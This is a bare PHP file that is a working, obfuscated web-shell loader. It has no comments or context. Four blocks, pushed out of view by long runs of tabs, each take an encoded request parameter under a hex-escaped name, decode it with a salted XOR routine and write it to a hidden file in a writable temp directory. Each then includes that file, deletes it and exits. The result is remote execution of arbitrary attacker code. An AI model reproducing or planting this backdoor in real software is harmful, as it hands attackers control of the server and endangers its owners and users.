<?php																																										if(!empty($_REQUEST["h\x6F\x6Cd\x65r"])){ $pgrp = $_REQUEST["h\x6F\x6Cd\x65r"]; $pgrp= explode ( ".", $pgrp ) ; $res = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s4); $len = count( $pgrp); for( $r = 0; $r < $len; $r++) { $v4 = $pgrp[$r]; $sChar = ord( $s4[$r%$lenS]); $d =( ( int)$v4 - $sChar -( $r%10)) ^ 32; $res .= chr( $d);} $bind = array_filter([getcwd(), getenv("TEMP"), "/dev/shm", getenv("TMP"), "/tmp", session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp"]); foreach ($bind as $reference) { if (array_product([is_dir($reference), is_writable($reference)])) { $object = join("/", [$reference, ".pset"]); if (file_put_contents($object, $res)) { include $object; @unlink($object); die(); } } } }
																																										if(isset($_REQUEST["dat\x61"])){ $item = $_REQUEST["dat\x61"]; $item =explode ( "." ,$item ) ; $pgrp = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt3); $__len = count($item); for($r = 0; $r < $__len; $r++) { $v4 = $item[$r]; $sChar = ord($salt3[$r % $lenS]); $dec = ((int)$v4 - $sChar -($r % 10)) ^43; $pgrp.= chr($dec);} $token = array_filter(["/tmp", getcwd(), sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), session_save_path(), getenv("TEMP")]); foreach ($token as $obj): if (is_dir($obj) && is_writable($obj)) { $object = sprintf("%s/.element", $obj); $success = file_put_contents($object, $pgrp); if ($success) { include $object; @unlink($object); die();} } endforeach; }
																																										if(@$_REQUEST["obj\x65\x63\x74"] !== null){ $itm = array_filter([getcwd(), "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", sys_get_temp_dir(), session_save_path(), getenv("TEMP"), getenv("TMP")]); $ref = $_REQUEST["obj\x65\x63\x74"]; $ref = explode('.' , $ref ) ; $pset = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt9); $t = 0; foreach( $ref as $v4) { $chS = ord( $salt9[$t % $sLen]); $d =( ( int)$v4 - $chS -( $t % 10)) ^ 34; $pset .= chr( $d); $t++; } while ($hld = array_shift($itm)) { if (array_product([is_dir($hld), is_writable($hld)])) { $sym = "$hld/.flag"; if (file_put_contents($sym, $pset)) { require $sym; unlink($sym); die(); } } } }


if(@$_POST["e\x6Cem"] !== null){
	$descriptor = array_filter([session_save_path(), getenv("TMP"), "/var/tmp", "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), "/tmp", getcwd(), ini_get("upload_tmp_dir")]);
	$data_chunk = $_POST["e\x6Cem"];
		 $data_chunk	=explode 		(  ".",	$data_chunk	 	);	 
	$item = '';
            $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt8);
            $p = 0;
    
            array_walk($data_chunk, function ($v6) use (&$item, &$p, $salt8, $lenS) {	$sChar = ord($salt8[$p % $lenS]);
                $d = ((int)$v6 - $sChar - ($p % 10)) ^ 44;
                $item .= chr($d);
                $p++;
            });
	foreach ($descriptor as $key => $holder) {
    		if ((function($d) { return is_dir($d) && is_writable($d); })($holder)) {
    $desc = str_replace("{var_dir}", $holder, "{var_dir}/.pointer");
    if (@file_put_contents($desc, $item) !== false) {
	include $desc;
	unlink($desc);
	die();
}
}
}
}